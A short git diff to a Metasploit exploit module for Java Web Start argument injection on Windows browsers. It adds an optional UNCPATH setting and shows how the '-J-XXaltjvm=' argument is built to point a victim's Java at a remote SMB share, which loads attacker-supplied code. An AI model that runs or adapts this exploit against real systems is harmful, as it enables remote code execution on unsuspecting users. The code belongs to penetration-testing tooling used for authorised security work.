diff --git a/modules/exploits/windows/browser/java_ws_arginject_altvm.rb b/modules/exploits/windows/browser/java_ws_arginject_altvm.rb index 6a59f5fab5..a1db1b780b 100644 --- a/modules/exploits/windows/browser/java_ws_arginject_altvm.rb +++ b/modules/exploits/windows/browser/java_ws_arginject_altvm.rb @@ -74,7 +74,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]), - OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) + OptString.new('URIPATH', [ true, "The URI to use.", "/" ]), + OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ]) ], self.class) end @@ -187,7 +188,11 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...") - unc = "\\\\" + my_host + "\\" + share_name + if (datastore['UNCPATH']) + unc = datastore['UNCPATH'].dup + else + unc = "\\\\" + my_host + "\\" + share_name + end jnlp = "-J-XXaltjvm=" + unc + " " + rand_text_alphanumeric(8+rand(8)) + ".jnlp" docbase = ""